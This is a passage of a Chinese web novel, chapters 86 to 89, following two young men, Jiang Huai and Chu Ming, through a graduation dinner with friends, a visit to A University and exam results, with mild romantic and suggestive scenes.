江淮改用手指,热烫的呼吸卷着空气慢慢挪到他耳边,声音沙哑地说:“你不是不困吗?但我想和你一起睡。” “……嗯?”楚明反应有些迟钝。 “有什么办法?”江淮在他耳边轻地笑了一声,笑声像是石子,落进鼓膜时荡开一圈圈细小的涟漪,楚明思绪被荡得空白一片,“只好我来帮你了。” 江淮的指尖像火苗一般乱窜,窜到小腹以下时楚明呼吸滞停,艰难出声:“什么?” 江淮笑着说完:“发泄完你就困了。” ……- 盛夏的阳光总是格外刺眼,角度刁钻地铺满整个房间,隔着被子都感觉后背被烫到。 被子里探出一只手来,试探着摸到床头柜,下一秒手机便被卷走。 江淮噌地坐起来,余光瞥了眼正安静睡着的楚明,他轻挑了下眉,伸完懒腰神清气爽地点开手机。 【阿越】聚会,今晚,来不来? 【阿越】还是说,你们一个多月没见要先黏几天? 【狗】等会问问。 【阿越】?还没醒? 【阿越】我他妈熬通宵八点多睡现在都醒了,你们在干嘛呢? 【阿越】现在都下午三点了,哥们。 “啧,”江淮眉梢轻挑,脑海里闪过昨晚混沌里的一些碎片场景,他回复道。 【狗】等他起床再回你。 【阿越】。 【阿越】你家小楚最好是不留痕迹地来〔微笑〕 撂下手机快速洗漱完,江淮去厨房捣鼓了一会儿才往房间里走,准备喊楚明起床。 一推门他轻地顿住,楚明背对他而站,此时此刻正弯腰在捡地上的衣服裤子,身上片缕不着。 江淮挑眉,双手抱胸倚着门框静静欣赏,等他起身,还浪荡地吹了声口哨:“刚准备叫你呢。” 楚明抓着衣裤的手指微微收紧,他顿了一秒才回头,不太自然地说:“我先换衣服。” “换你的,”江淮走进来坐到床边,淡淡地扫向他脖颈间未消的红痕咬痕,得意地扬眉:“还痛吗?” 楚明指尖点了下侧颈,“还好。” 他转身从衣柜里新挑了套衣裤,也包括内裤:“我去洗澡。” “好,”江淮笑着说:“我煮了点营养粥,给你补补。” “……不需要,”楚明一个闪身出了房间。 今天的粥确实还行,料足味鲜,就是稍微烫了点。 楚明搅了一会儿才吃,抬眼几次见江淮始终盯着自己,他轻顿:“怎么了?” “我在想,”江淮单手托腮,眼里只有他:“之前我是怎么熬过来的。” “嗯?”楚明对江淮的抗压能力还是挺佩服的,高三确实辛苦,学业繁重作息魔鬼,但不至于能到这么“卖惨”的程度,他不禁问道:“复习有这么苦吗?” “不是,”江淮说:“我在想我是怎么忍得住,不能亲你不能抱你,连视个频都有时限。” 楚明啧了一声:“难怪昨晚这么折腾。” “怎么,不爽吗?”江淮挑眉。 楚明轻顿:“……” 江淮笑笑,抬起下巴点了点他那碗粥:“不逗你了,先吃,冷的吃了不舒服。” 楚明“嗯”了声,慢条斯理地开始喝粥。 “对了,今晚严越他们有聚会,熟人局,想去吗?”江淮想起半小时前的聊天,问了一句,“主要是见个面吃个饭。” “可以,”楚明说:“明天你不是要去A大?正好今天聚了。” “好。”江淮伸手戳了一条消息- “等一下,”要进到包间前江淮拉了楚明一把。 楚明轻顿:“嗯?” “衣领拉上去一点,”江淮说着伸手扯了下他的领口,确保轻易看不出痕迹,他才点点头:“差不多了。” 楚明偏了下头,很轻地问说:“你昨晚有理智吗?” 他昨晚没忍住也啃了江淮几口,没收劲的那种,但确实是比江淮理智些,位置基本在肩和锁骨——毕业季聚会多,三天两头都出门,好遮。 “有,”江淮知道他是在说留痕这件事,挑了下眉:“但无所谓,我不介意让全世界都知道。” 楚明无奈轻笑:“我知道了。” 严越订的是一家环境不错的饭馆,单独大包间,还安排有投屏,这会正播放着不知道哪首歌的mv。 现在人还少,四分之一都没坐满。 “赵逵逵他们晚点到,你们要吃什么先自己点,”严越今天穿得挺骚,上半身酒红色背心,下半身工装裤链子多到数不清,他笑着递来菜单:“有忌口记得发我。” 楚明接过:“谢谢。” 江淮凑过去看菜单,轻声地报了几个菜名之后,他坐直:“你继续点吧。” “好。”楚明说。 “啧,”严越朝他俩看了一眼,瞥见什么他无奈地叹了声气,走到楚明旁边。 蓦地感觉身后罩下小片阴影,楚明翻页的动作停住,轻仰头:“嗯?” 严越指尖夹着一条白色涂鸦创口贴,从下塞到他手里,小声地提醒说:“脖子上的印子遮一遮,太明显了。”—— 作者有话说:严越:啧啧。 第87章 第 87 章 “我相信他。” “嗯?”楚明摸到创口贴时很轻地滞住:“……是吗?” “是, ”严越假装在看他的菜单,小声地抱怨:“你们刚不是在门口检查吗?江哥眼睛白长了!” 楚明:“……” 他默了半秒,随意勾了两道菜后错开他, 走前小声地说了句:“谢谢。” “不客气, ”严越拿起菜单,笑着大方地说:“厕所在进门左手边,很近。” 赵逵逵他们紧赶慢赶最终在九点前到桌,有几个还套着球衣, 进门时人手还捧着一束花, 红的白的黄的都有。 “江哥!”赵逵逵进门便把一支红玫瑰递到江淮手里:“最美的花给你!” 江淮:“……” 他垂眼看着这串塑料花,接过时轻抿唇:“哪捡的?” 严越正在手机上调整视频投屏,闻声笑了起来:“这嘴, 真他妈有劲儿。” “买的,真金白银买的!”赵逵逵连忙为自己挽尊:“我们来的时候遇到卖花的,说是大学生创业求帮助, 人那么真诚我总不能坐视不管吧。” “大学生还要出街卖花?”汤麟探出头来问:“这么惨?” “问问江哥男朋友呗, ”严越看热闹不嫌事大地说:“楚明可是正牌大学生。” “对啊,楚哥,”赵逵逵脑袋转了一大圈, 没寻着人:“耶?楚哥呢?” 江淮轻顿, 正要说他去厕所等会回来, 偏头就见包厢门被轻轻拉开, 微暗的光线角下, 楚明没什么表情,眉眼冷淡地朝这处投来视线,看到人时才轻地勾唇,笑着问:“都看我干嘛?” “我操, 长得是真帅啊!” 江淮单手托腮,微笑着在看楚明,还单用口形说了个字:“帅。” 赵逵逵手里还抱着一捆塑料花,见状连忙掏出另一只鲜艳的红玫瑰,屁颠屁颠地冲过去,“楚哥,这朵花跟你绝配!” 楚明不知所以地接过:“嗯?” “我在路边买的花,”赵逵逵解释说:“他们说自己是大学生做项目。还挺多,剩下的一人一串吧。” 楚明这才了然地点头:“谢谢。”他走回到自己的座位,小声地问江淮:“这是被骗了吧?” 闻声,江淮笑得肩头轻抖,他险些没捏住红玫瑰,“哎操……” “笑屁,”楚明眉眼零星缀着笑意,他清了清嗓子,看江淮歪七扭八地都笑到自己怀里了,他拉了他一把:“你坐好。” “嗯,好。”江淮慢慢坐直。 剩余的花束被一窝蜂地抢完,严越捏着朵黄玫瑰,贴着鼻尖闻了下,拧眉:“操,怎么一股烤肠味?” “他们摆摊呢,”赵逵逵说:“烤肠烤红薯烤爆米花,玩具玩偶花都有卖。” 在座:“…………”沉默是今晚的康桥。 严越无语地把黄玫瑰拿远,他用下巴点了下旁边支架挂着的专业相机:“事已至此,拍个照吧。” “好啊好啊!”赵逵逵应和道。 按铃等服务员的间隙,严越指挥着拍照队形,花实在是土之又土,更别提旁边穿土黄色明绿色球衣的,没眼看。 视线带过江淮楚明时,严越唏嘘着感慨:颜值确实能撑起来很多东西。他轻咳一声,心生一计:“来,除了江哥楚明,其余人动,往后围着就行。” 包厢剩余空间大,便直接从椅子后面排开,赵逵逵绕到楚明旁边时,皱起眉头:“诶?楚哥,你受伤了?” “嗯?”楚明偏头。 赵逵逵伸手指了一下楚明的脖颈,创口贴斜斜贴在中央偏上的位置:“不过脖子上能受什么伤?” 闻声,江淮侧身,伸手轻轻扳过楚明下巴,探头看清创口贴外缘细微的绯色,他轻挑眉。 “睡觉没关窗让蚊子咬了吧,”严越叹了口气,说:“最近蚊子挺毒的,专逮着脖子咬。” 江淮:“……” “好像也是,昨天我们在网吧被咬了好几个大包,”赵逵逵点点头:“楚哥可以试试花露水,效果挺好的。” “那可不兴,”严越笑说:“舍不得下手吧。” 楚明:“……” 赵逵逵二丈和尚摸不着头脑,只胡乱应了一句:“楚哥聪明,我就不支招了。” 快速排好队形,服务员进来时,先是茫然地往后退了半步,看清人群中间分别穿着黑白色衬衫的两人时,她轻顿:“结……结婚照啊?” 身后瞬间爆发出一阵狂笑。 江淮轻笑着伸手去搭楚明的肩,轻挑眉:“也不是不行。” 楚明捏住他的手:“收敛点。” “可别给江哥说爽了。”严越拿过相机,微微欠身跟服务员说:“操作不难,我帮你固定一下位置,等会直接按这个键就好。” “哎,”服务员看向他时又是一愣:“谢谢小帅哥。” “只拍照太单调,我们要说点什么吗?”赵逵逵精心站出来主持:“江哥楚哥结婚快乐?” 江淮啧了一声:“没到法定年龄,傻逼。” “到法定年龄就行了吗?”楚明笑着摇摇头:“要不说毕业快乐吧。” “那就毕业快乐。”严越点了下头,确定好最终的角度,他立刻飞奔回站队里,往江淮楚明身后站好,“记得睁眼,尤其是赵逵逵。” “准备好啊,”服务员说:“马上!” 准备声的提示里,每一个人都应声举起手里的塑料花,微笑着去看镜头,在倒数的“三二一”里,异口同声:“毕业快乐!!” “咔嚓!”照片定格。 “毕业快乐啊,”服务员把相机放回餐桌,像是被氛围感染到,笑了笑:“要不要给你们开一瓶香槟?” “什么?送我们一瓶香槟?”汤麟毫无意外地空耳了:“这么好吗?” 服务员:“……” 她惶恐不安地摆摆手:“也、也没那么好。” “开一瓶吧,”严越笑着说:“我买单。” “哎,谢谢谢谢。”服务员心下一松,“祝小帅哥们都毕业快乐,天天开心。” 等服务员退出去,江淮看向严越:“你资金还充足吗?” “足着呢,”严越轻声说:“昨晚刚翻新,你放心吃放心喝,实在兜不住了我再找你。” “嗯。”江淮端起水杯跟他碰了一个。 陆陆续续地菜上齐,热气扑腾起,笑声闹声才稀释开,都被吸走魂儿似的狂夹猛塞。 差不多二十多分钟后,电子屏幕里的轻音乐被严越暂停,随即开始自动播放视频,俱是出自江淮楚明或者严越的手机——一些篮球场上的片段。 “呜呜呜,好怀念啊,江哥你再骂我两句,感觉好久没听到了!”赵逵逵抹着两滴假泪,哭诉道。 江淮:“……” 楚明笑着往他的方向偏了些,小声:“看看你带出来的人。” “有什么办法,”江淮跟他咬耳朵。 “我高三一整年好像没打过几次球,今天下午去球场试了一场,小半场都没跑完,就已经累得说不出话。”汤麟说:“三分也一个没投进,我都不敢想,一年前的我还能跟远子抢三分神的称号,好一个今时不同往日。” “都差不多,我们里面能锻炼的,估计只有楚哥吧。”赵逵逵说着指了指屏幕,“我操,看这个负角度进球!我操,看这个三分球!帅惨了!” 楚明轻笑着回应:“谢谢。” “话说楚哥你水平这么高,没打算进A大校队吗?”赵逵逵问说:“我记得A大篮球队还挺牛逼的。” 楚明点头:“嗯,今年去试试。”和江淮一起。 严越啧了一声:“不是,楚明你就那么肯定江哥能考上A大吗?” “嗯,”楚明点头:“我相信他。” 江淮端着水杯迟迟没喝,只是笑着。 “咦——”满桌的人拉出长音。 “不说江哥,但我肯定上不了A大,”赵逵逵说:“昨天考麻木了没什么感觉,今天回忆起来,我操,今年的题难死了,我感觉我连二本线都碰不到。” 话题陡然有些沉重,氛围凝滞了一下,接着便听楚明说:“考完就不多想。” “行吧,”赵逵逵点了下头:“可是忍不住怎么办?” 楚明轻顿:“那你昨晚是怎么忍住的?” “哦,原来如此。”赵逵逵点头:“楚哥牛逼!那什么,我们刚不是在问大学生吗?楚哥,你们真的还要出去摆摊吗?” 楚明:“……” 他默了一秒:“暂时还没有这种经历。” 汤麟那边传出笑声:“哈哈哈哈哈哈哈……” 等话题开始往娱乐赛道走,江淮微微偏头,小声地说:“要是我没考上A大,怎么办?” “不会,”楚明很肯定地说:“我相信你。” “为什么?”江淮追问道。 “因为不止你努力了,”楚明清楚地知道江淮的学习进度和学习强度,不止江淮没松懈,他也不曾慢下脚步,所以他肯定,也坚信,最终的结果就是如偿所愿。 江淮点了下头:“嗯。”- 出成绩前的十几天时间,对于高三毕业生来说,自由而快乐。 A大宿舍楼里,江淮笔直坐起来,手肘撂在扶手处,很轻地抬眼:“你还在做题啊?” “嗯,”楚明仰头看了他一眼:“期末考还是得应付应付。你睡饱了吗?” “差不多吧,”江淮伸了个懒腰:“你的床很香。” “乱扯,”楚明转了圈笔,从抽屉里拿了块黑芝麻丸,丢向上床:“先垫垫肚子,等我十分钟,我带你逛逛食堂。” “好,”江淮接住。 他含着芝麻丸正要从梯子上下来,脚尖刚伸出去,就听到一阵不轻不重的敲门声。 他垂眼,和楚明对视上。 “睡回去,”楚明说。 江淮:“……” 他倒回床上,把自己埋进香软的被子里,深深地吸了吸气。 “楚哥,”门外的人说:“我能进来吗?”—— 作者有话说:86章我正极力解锁中[裂开][裂开] 第88章 第 88 章 “怎么不穿衣服?”…… 单听声音应该是个性格比较内敛的男生, 嗓子特意收着,语调又轻又慢,稍作停顿后又敲了一声门。 楚明淡淡地瞥了眼上床, 偏过视线:“进。” 房间里没什么声音, 只隐隐浮着极淡的香气,男生进来时的脚步声都需要集中注意力才能听清。 江淮窝在被子里,无聊地动了动脚趾,悄悄地用手指压下一点被角, 偏过头从抬起的缝隙里朝下投去一瞥。 “楚哥, 我想找你问几道题,”男生手里抱着两本习题册,轻声细语地说:“查了很久都没有找到思路, 即使问到答案我都没能顺着推下来,周老师说你期中是我们班为数不多的卷面满分,就想找你问问。” 江淮挑了下眉, 心想:看完答案都没推出来, 脑子呢? “我先看一眼。” 楚明的声音听着很冷淡,还带着恰到好处的疏离感,反正听着不是平时对他的语气, 江淮欣慰地笑了笑, 动作谨慎地往外看得更多。 这下彻底能看清楚楚明的后脑勺、后背, 以及那位陌生男生的半张侧脸, 肤色挺白, 带着副黑框眼镜,很安静地站在楚明身边。 非常安全的社交距离。 “这道题难度不大,”楚明指尖压着笔尾巴转了一圈,淡淡地说:“单纯运算量大, 需要给你演示一遍吗?” “需要的,”男生脱口而出,说完停顿半秒:“可以吗?” 楚明点头:“可以。” 具体他们在讲什么题江淮并不完全清楚,有些专业名词他甚至都没听过。 他只知道半分钟前还挺正常的距离,却在楚明演示运算过程时逐渐被拉得更近,男生的手搭在椅子上,弯身嘴唇几乎要贴到楚明脸上:“楚哥,你字好漂亮啊。” “没写字,”楚明瞥了眼全是运算式的草稿,三两下算到结尾,他轻声:“完了。” “嗯?”男生愣住:“这么快?”他专门搜的难度五星级的题,连讲题视频都有半小时的,结果这才过去一两分钟。 “嗯,题不难。”楚明重申,把草稿纸推给他,也是这时他才发现两人之间的距离有些危险,他轻顿:“剩下的两道题建议先弄清基础再学,另外有些超纲,大概率不会考。” 男生还没从呆愣里回过神:“是、是吗?” “是,”楚明转着笔:“还有事吗?” “没了,”男生去收书,要走出去之前像是想起什么,他回头:“楚哥,你晚上有空吗?我请你吃饭,当作感谢了。” “没有,”楚明微微笑道:“今晚得陪家里人。” “哦,好吧。”男生点了下头:“那楚哥我先回去了。” 等男生出去门被带上,江淮从被子里钻出来,垂下眼皮,不悦地喊道:“楚明。” “嗯?”楚明仰起头去看他。 江淮把被子当披风,两步慢吞吞地挪到床沿,头发被蹭得些许凌乱,有几根毛还朝天立起,他趴在护栏上,表情看起来很不好惹地说:“你走过来。” 楚明放下笔起身,走到爬梯前,倾耳去听。 但实际是,江淮的气息远比声音更先抵达,空气被温热的呼吸卷起细小的涟漪,像是溺在其中,楚明的反应速度基本为零。 江淮手指扣着他下巴朝自己抬来,狠狠地咬了上去。 楚明拧着眉偏了下头,半秒间隙都没有江淮便又追着咬了过来,尖得突出的利齿抵在下唇轻磨,折腾好半天才吻了进去。 ……距离被拉开时,呼吸还粘稠着纠缠,楚明呼吸乱成麻绳,缓了许久才缓过来,他伸手捏了捏江淮的脸:“怎么了?” 江淮撩起眼皮,面露不爽:“你看起来不像有男朋友的人吗?” 楚明:“……” 他这才反应过来江淮的举动是在干嘛,主动扣住江淮的后脑勺亲吻了几十秒,流连地分开时笑说:“傻子。” “不是我傻,”江淮看着他的眼睛:“反正这A大我来定了!” “嗯?”楚明不懂他突然来这么一句是怎么。 “等我来了,”江淮说:“就没谁不知道你有男朋友了。” “啧,”楚明笑笑:“我等你来。” 这段时间楚明要准备期末,时间紧强度大,江淮留这儿时不时要亲要抱的,实在碍事,楚明就提出让他先回去:“考完我再来找你,好不好?” “……好吧。” 江淮便没在A大逗留太久,睡完楚明的床,跟楚明吃了食堂,再简单陪了几堂天书般的复习课,他就先回去了。 收拾完行李,出成绩当天严越跟他约球,说是在体育场方便调解心情。 今天场馆里人不少,观众区域几乎坐满了——不过在视线云集里玩球对他们来说倒也不算负担。 1v1玩了半个多小时,感觉情绪细胞都快被打爆了才勉强告停。 江淮抛了瓶水给严越:“缓过来没?” “还行吧,”严越盘腿坐好,仰头喝了一口:“我大概能猜到自己是个什么分数段,其实也不紧张,就是单纯有点遗憾。” “嗯?”江淮看着他。 “当初都吵着要考A大,”严越长呼出一口气:“事实是半年之后,依旧连边儿都挨不上。” “你什么时候心思这么细了,”江淮给了他一脚:“没考好还是他妈失恋了?” “哎,你……”严越啧了一声:“我单纯感慨感慨,但凡我能保底A大,我保证我心思粗得跟钢筋一样!这不是保不了底嘛,亏我叫你一声江哥,怎么连两句感慨你都听不得?” “什么屁话,你感概着吧。我玩会儿球。”江淮坐到罚球区,指尖停球,仰头瞄准球筐抛掷,预估失衡,没进,还险些砸到自己,他勾回球继续。 “怎么开始坐投?”严越单手托腮,仰头看着:“还没进。” “有精力嘲讽了,”江淮挑眉,控制好力道曲指抛掷,篮球落筐时他抬了下手指:“进了,傻逼。” 严越:“……” “来,继续,”江淮单手撑地空旋起身,捡起地上的球运了两步,站到严越对面时轻声:“打到你没精力想些有的没的,就结束。” 严越把瓶盖拧紧往后一抛,站起来:“来!” 要单纯按技术来排名,早些时候江淮和严越都算是队里的顶头,差距也并不大,只是江淮受伤之后,一人走校队一人走野路,再加上训练时间的差异,才会出现明显分野。 但显然高三一年填补了这层差距。 “江哥你不行啊,”严越收放自如,灵活地辗转几次,避开江淮的防守顺利投进:“谁家防守这么门户大开啊!” “让你呢,傻逼。”江淮捡球,迅速走位:“你防。” “行,”严越飞快调整好重心,紧盯着他手脚动作,预判、阻止,但显然这还不够,他在江淮飞身的前一刹那起身! ……没拦住。 他扑棱了两下:“哎哟,我操。” “你这跳拦,离地有十公分吗?”江淮往下瞥了一眼。 严越:“……”他抹汗,重振旗鼓地说:“再来,我不信了!” 接二连三防防不住投投不进,严越气喘吁吁地坐在地上,接过江淮递来的水慢慢喝时,挑眉说:“你偷偷练过是吧?” “光明正大练的,”江淮扯过毛巾擦汗。被楚明“赶”回来这几天,他练球的频率比较高。 “那我平衡了,我最近运动量都少得可怜。”严越喝完小半瓶水,忽然抬了抬下巴,说:“哎,江哥,好像有人爱上你了。” 江淮头也没回,习以为常地说:“还预先演练上了。” “没,我倒也不必卑鄙到用这伎俩来偷你的球,而且这还没开始啊!”严越眯了下眼:“我是说,那边台上有个女生,从开始到现在,盯你盯得至少有二十分钟了,根本就没移开过视线。” “呵,”江淮轻笑一声:“你打球看场外?” “顺带就看了,基操,不必羡慕。”严越笑笑:“我说真的,你要不回头看一眼?” “不了,”江淮把毛巾当挂脖围在后脖颈,捡起旁边的手机,挑眉:“我是有男朋友的人。” “哎哟,我操。”严越往后仰去,要不是大庭广众他能蛄蛹两下:“天天就秀吧,秀死我得了。” “坐起来,收拾着准备回去了。”江淮偏头活络了下脖子,按了按斜方肌:“有点累了。” “嗯,好。”严越点头,爬起来时给了他一个手势:“等我两分钟,我上个厕所马上回来。” 江淮“嗯”了声,低头就见赵逵逵给自己发了一连串的消息。 【黑个儿】江哥,你没去21班班级聚会。 【狗】怎么,看到我了? 【黑个儿】那倒没有,也没人有你的风采。 【黑个儿】嗯……就是,有人托我给你一封信,还是这封信欠了一年多才送出,她实在很抱歉。 【狗】谁? 【黑个儿】你可能已经不记得了。 【黑个儿】就是……魏天。 江淮微滞,看清赵逵逵发来的信封图片,中央硕大仨字:道歉信。他扶额,不知为何心头浮出一种强烈的不良预感,他轻偏头,向观众区域看去。 操。 还真是她。 淡淡的一瞥并没有在脑海留下过多的印象,只是尘封着的过往却收不住地开始回放,江淮很轻地叹了口气,他戳出键盘开始回复。 【狗】扔了吧。 【黑个儿】?不太好吧,听说是她手写的,而且态度也很低,说是让我一定要亲手带给你,看起来是非常诚恳的。 【狗】我没有她道歉我要听的义务。 【狗】实在心疼你收了也行,随便吧。 【黑个儿】好的江哥! 把手机熄屏揣回兜里,江淮起身捞球运了两步,这次烙在后背的视线存在感极强,像针扎着般令人难以忽视。 余光瞥见严越回来,他沉住呼吸,试着直臂投球:一击即中! 捡完球向场外跑去时,场馆外明艳的夕阳沉落,目光淡淡地错过观众席上的身影,江淮眼底金光浮跃,轻挑了下眉: 旧人旧事就留在过去吧,没必要再翻新了- 六月底实在是忙得冒火,出成绩当晚,楚明甚至还在通宵自习室里准备明天的数学分析,简单证明完常值矩阵,他起身离开教室时摸出手机看了一眼。 距离官方公布的出成绩时间没两分钟了。 【狗】还在做题吗? 【Cming】出来了。 【Cming】接电话。 说着他便拨通视频通话,坐在教学楼外的长椅里,伸手拍飞紧随而来的蚊子,等着被接通。 江淮才洗完澡出来,天热他浴巾遮完裆就没再穿什么,坐到床上把电脑放腿上,侧腰拿过手机,特意看了眼备注才接通。 “嗯?”他把手机靠在电脑屏幕,挑了下眉:“晚上好。” “我操……”楚明扣下屏幕,错开身后还在仰头背书的学生,快速跑到没什么人的地方,才把手机掏出来,小声:“怎么不穿衣服?” “我在床上,”江淮啧了一声:“还得齐套吗?” 他说着开始登入查分系统。 楚明轻顿:“也是。”他看着江淮被电脑屏幕冷光映亮的脸,小声地问道:“紧张吗?” “有点,”江淮三两下点好身份证这些,挑了下眉:“亲我一下,我马上点开。” “好。”楚明曲起食指,轻轻地在指节落吻,再慢慢地伸到手机前:“行吗?” 江淮也曲指去隔空贴了一下,笑了起来:“行。” “诶?”江淮抿唇,看到该用户不存在的提示时轻顿:“等我翻一下准考证号。” 楚明:“……” 他开悬浮之后去翻手机相册,点到图片正要发给他时,就听江淮说:“好像不用了,覃老师找我了。” “这么厉害!”楚明笑笑,“恭喜。” “嗯哼,”江淮退出界面,关切地去逛了一趟他的兄弟群聊,清一色的表情包和长达四五十秒的语音,他笑着挑眉:“我保证,随便点开哪条语音,耳朵都能给震碎。” “是吗?”楚明拍走又飞来的蚊子,拧了下眉:“我先换个地方。” “怎么?”江淮抬眼。 “蚊子,”楚明侧过脖颈,伸手挠了下,顿时就有几道红色抓痕浮现,“挺烦的。” 江淮看着屏幕里的人,细细盯着他脖颈上的抓痕,喉结轻滚:“我操,我他妈想你了。” “……你怎么这么黏,”楚明抿唇:“才几天没见啊。”他走在小路里,大树被路灯照出青黑的阴影,晚风温柔拂过,他声音轻轻流出:“明天考完我就回来,行吗?” “不,”江淮挑眉:“这次换我去接你。”—— 作者有话说:哎呀,我好喜欢这俩啊[抱抱][抱抱] 第89章 第 89 章 “谁嫁?” 高考成绩出来后久久波澜未歇, 班群里班主任先行公布了几位特优生的成绩,同学们捧场地发完几十条礼花烟花庆祝,紧接着分数线公布, 开始进行大规模的分数段统计。 喜报图文登满公众号, 各种噱头夺尽眼球,忙成陀螺的时光中志愿填报开启。迷茫和未知里远方的运输车辆驶来,停放下一册又一册的录取通知书。 十年寒窗的故事至此走到结尾。 江淮收到快递到校的通知时,还在床上假寐。 身侧的床面已经沾着些没睡人的凉意, 他指尖点了点, 犹豫半许小心翼翼地把眼睛睁开一小条缝,不太真切地看着正坐起来接电话的楚明,电话从接通到现在已经过去三四分钟, 他不知道挂没挂。 ——因为楚明的回应始终很轻很淡,让人辨不清他是在思考还是单纯没有回应。 “什么时候?”楚明发完呆,回应道。 那头不知道说了什么, 稍作停顿后楚明很轻地“嗯”了一声, 便放下手机,偏过头没什么表情地盯着窗外。 在他偏头的瞬间,江淮反应迅速地把眼睛闭上了。 良久, 感觉到飘过自己上方的那道视线收回, 他指尖又点了一下, 故技重施地慢慢睁开眼。 嗯? 楚明呢? 他轻顿, 猛然睁开眼就见楚明笔直地站在床头边, 双手抱胸垂眸在看他。 江淮:“……” “眼皮动了,”楚明解释说,缓缓屈膝跪坐到枕头边,小声地问:“什么时候醒的?” “你接电话前两分钟吧, ”江淮笑着翻身,躺过去后脑勺枕在他大腿,睡稳,仰头注视着楚明的眼睛:“才接了诈骗电话吗?心情看着有点差。” “没,”楚明捏了捏他的脸,“不是诈骗电话。” “那是什么?”江淮仰深了些。 楚明说:“马海打电话找我,说想让我回去看看。” “那还不如诈骗电话。”江淮贴着他的手,“他让你回去看什么?” “看看……他。”楚明半弯着腰,细细地盯着他眼睫毛和黑亮的眼眸,没忍住手指勾了勾他下巴窝的软肉:“也说让我给学弟学妹们分享一些学习经验。” 江淮拧了下眉:“八中?” “嗯,”楚明笑了笑:“不然马海还能跳槽去哪所学校。”高二那年发生的停职事故,基本断了马海再跳槽的可能,留在八中继续教书还是因为人情和岌岌可危的关系。 “啧,”江淮摸到他的手,捏住:“你是不是不太想回去。” “也还好,”楚明目光偏了些,看着他们缠在一起的手指,指腹轻轻拨了下:“最多两三个小时而已。” “不想去就不去,”江淮说:“没必要勉强。” “也不算勉强,”楚明嘴唇勾了一下:“回去看看卫老师也不错,实在不想待了我就找理由去厕所。” 江淮笑了笑:“你以前理由不是挺多的吗?怎么也沦落到人有三急?” “懒得想,”楚明低头,在他嘴角啄了下:“这不是近墨者黑嘛。” “不,”江淮仰起头,舌尖挤进他唇缝,往里勾了一下,眯着眼说:“这叫嫁狗随狗。” “嫁?”被某些字眼勾走心神,楚明动了动腿,枕在腿上的江淮的脑袋也跟着滑了一下。楚明从下兜住,扣紧他后脑勺呈禁锢之势时小声地问了句:“谁嫁?” “你嫁,”江淮挑了下眉:“不然呢?你不想?要拒绝?” “不是,”楚明喉结轻滚,直白地说:“我想你嫁。” 江淮:“你——” 话音被原封不动地堵回唇间,连一点气声都没有机会冒头。江淮被吻得连连往深了仰头,伸手勾住楚明的脖子以承力。 楚明吻着吻着掌心兜住他的侧腰,膝盖一顶一夹便把江淮抡回床面。被砸进绵软的被子里时,江淮脑子一蒙,紧接着楚明便压了上来,跨坐在他身上吻得相当认真。 江淮低喘着,脖颈间的血管用力地搏动,青筋依稀可见。这次的吻实在带了点炫技的成分,江淮被吻得浑身火热,眼底烧出一层薄薄的水雾,有些意乱之时楚明咬了下他的舌尖。 “嗯?”他声音低哑地问询。 楚明逗着他,嗓音牵着丝低沉磁性:“你嫁我嫁?” 江淮本能地开口:“你——” 没能发出声音,楚明笑着又含咬住他下唇,要继续时江淮的手攀上他的胸口,胡乱地抓了一把。 ……这样不知道辗转了多少次,江淮感觉自己都快融化进被子里,嘴唇微微发肿,喉管也发涩,跟坐了几十个仰卧起坐似的腹部酸痛,他靠着楚明的腰,徐徐地吐出一口气:“啊,随便吧,你不嫁我嫁。” “嗯。”楚明笑着吻了下他眼皮。 经这一折腾,午睡时间无限制地拉长,从床上起来的时候,窗外日头正盛。 江淮伸了个懒腰,往厨房走的时候目光淡淡地错过时钟,上面显示三点半,他挑了下眉,问:“他让你什么时候去?” “我晚自习去吧,”楚明正在细致地洗红提,余光瞥见他走过来,说:“我们是放假了,新高三还在火热复习呢。” “可怜,”江淮从后抱住他的腰,手指习惯性地搓了搓。 “别乱摸,”楚明单扯出颗提子,慢慢剥好皮递到他嘴边:“张嘴。” “嗯……”江淮张开嘴咬住红提时,滑腻的舌尖羽毛般扫过他手指指尖,还特意舔了一小下才离开,在楚明渐深的目光注视里,他笑着咬碎提子,微甜的汁液绽在口腔,他挑了下眉:“好吃。” “……”楚明清了清嗓子,他收回视线:“等我洗完再吃。” “嗯。”江淮下巴轻抵着他肩窝。 沥水时,楚明轻声问:“你晚点要回三中拿通知书是不是?” “嗯,”江淮问:“不过我肯定比你先回家,晚点要我去八中接你吗?” “不用,”楚明摇了摇头:“我又不是小孩儿。” “嗯,你不是,”江淮蹭了蹭他脖颈,小声说:“亲起来跟头饿狼似的。” 楚明偏头看着他:“有吗?” “有,”江淮说:“等下次,我来亲你。”说着他耳语:“亲到你腿软为止。” “怎么,”楚明挑了下眉:“今天你腿软了?” 江淮:“……” 他冷起脸来:“谁他妈让你一亲亲十几分钟不带停的?别人做起来都没这强度。” 楚明轻顿:“……闭嘴。” 江淮笑着举起双手作投降状:“啊,我闭嘴,我还要吃。” “自己剥皮,”楚明甩掉指尖的水渍:“惯得你!”- 七点出头太阳只留余晖,空气里虽还烧灼着热浪,但比起白天日头烘烤,温度已经算得上柔和了。 江淮蹬着楚明那辆破自行车去三中接他的A大录取通知书,沿途走到一半覃雁打电话来,专门让他穿得稍微正式一点。 垂眼白t黑短裤的自己,江淮:“……”无所谓了。 “哎,我差点忘了有你这张脸,穿多烂都好看,”覃雁站在校门口等待,看到江淮推着自行车靠边停的时候,笑得眉眼弯弯:“哎哟,难怪那么多孩子下课都要来看你。” “我毕业了您才感概吗?”江淮虚虚地坐靠在车座,挑了下眉:“通知书我看看。” “这么潇洒?”覃雁笑笑:“哎,我看那么多学生回来都没你一半潇洒!” “是吗?”江淮接过她递来的通知书,拆外卖塑封的时候,挑了下眉:“这么大一堆?” 覃雁:“……” 她叹了口气:“江同学,你知不知道别人为了摸摸A大录取书能跑来跟我说一晚上好话,你还在这儿嫌弃起来了!” “没嫌弃,”简单看完外形,江淮连壳带里放到自行车前的车兜里:“晚上回去拆。” “嗯?”覃雁看着他:“你还会讲仪式?” “留着给家里人拆。”江淮说,上次楚明的通知书让他拆的,这次刚好能反过来。他挑了下眉:“您让我穿正式点,是要?” “去我班上逛一圈。”覃雁笑着说:“我新带了届衔接班,你刚好给我涨涨士气,赏个脸呗?” 江淮点头:“好。”- “大学生活怎么样?”马海双手抱胸,笑着问。 “还好。”楚明坐在他对面,办公室里的老师他都不认识,这些都是新高一的班主任们。 “那就好。”马海感叹了一句。 楚明没应也没主动说话,紧接着话题便走向沉默,和更深的沉默。 “嗯……”马海憋半天憋出一句:“那继续努力哈。” 楚明淡淡地回应道:“好。” 